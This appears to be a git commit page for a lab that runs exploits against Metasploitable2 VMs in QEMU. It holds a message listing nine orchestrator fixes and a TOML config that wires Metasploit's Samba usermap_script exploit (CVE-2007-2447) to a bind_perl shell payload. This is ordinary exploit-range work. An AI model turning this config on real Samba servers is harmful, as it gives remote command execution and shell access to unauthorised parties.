Elliott Kolden
667f042707
Root causes and fixes documented in TIER3-BRINGUP.md. Summary:
1. BRIDGE env var leaked into Tier-3 subprocess → target VM used tap
instead of SLIRP; fix: env.pop("BRIDGE") in fleet _run_slot.
2. usable_modules filter conditioned on BRIDGE presence → bridge-requiring
modules selected on SLIRP runs; fix: always filter requires_bridge.
3. cmd/unix/interact creates no session.list entry → session_open_timeout
every episode; fix: switch samba_usermap_script to cmd/unix/bind_perl.
4. Per-slot LPORT hostfwd used wrong guest port (host:5444→guest:4444);
fix: extra_host_port:extra_host_port mapping so guest binds the
per-slot LPORT directly.
5. vsftpd backdoor port 6200 hardcoded → collision across concurrent slots;
fix: requires_bridge=true filters it from SLIRP fleet runs.
6. SLIRP false-positive in _wait_for_tcp → exploit fires before Samba
boots (~60 s too early); fix: replace TCP probe with serial console
_wait_for_serial_login that waits for actual "login:" prompt.
7. Stale QEMU survives orchestrator restart (start_new_session=True) →
holds hostfwd ports, new QEMU silently fails; fix: kill by pgid from
old pidfile before rmtree.
8. PORT_BASE default used privileged port 21; fix: default to 2021+slot*100.
9. msfrpcd 6.x returns bytes for all string values even with raw=False;
fix: MSFRpcClient._str() recursive decoder applied to all responses.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
32 lines
880 B
TOML
32 lines
880 B
TOML
description = """
|
|
Samba 3.0.20 username-map command injection (CVE-2007-2447). Trigger
|
|
is a crafted username at SMB authentication; the Samba daemon shells
|
|
out via the username_map_script and runs whatever the attacker put in
|
|
the username. Standard Metasploitable2 vector. Uses a bind-perl
|
|
payload so msfrpcd can connect to the resulting shell via SLIRP
|
|
hostfwd; LPORT is fleet-assigned per slot (base 4444, +1000/slot)
|
|
to avoid collisions across concurrent episodes.
|
|
"""
|
|
|
|
[module]
|
|
type = "exploit"
|
|
path = "multi/samba/usermap_script"
|
|
|
|
[module.options]
|
|
RHOSTS = "{{ target_ip }}"
|
|
RPORT = 139
|
|
|
|
[payload]
|
|
path = "cmd/unix/bind_perl"
|
|
|
|
[payload.options]
|
|
LPORT = 4444
|
|
|
|
[session]
|
|
type = "shell"
|
|
|
|
[runtime]
|
|
# bind_perl opens a new guest port; fleet hostfwds it via SLIRP.
|
|
# No bridge egress needed — host connects in, not guest out.
|
|
requires_bridge = false
|
|
extra_target_ports = [4444]
|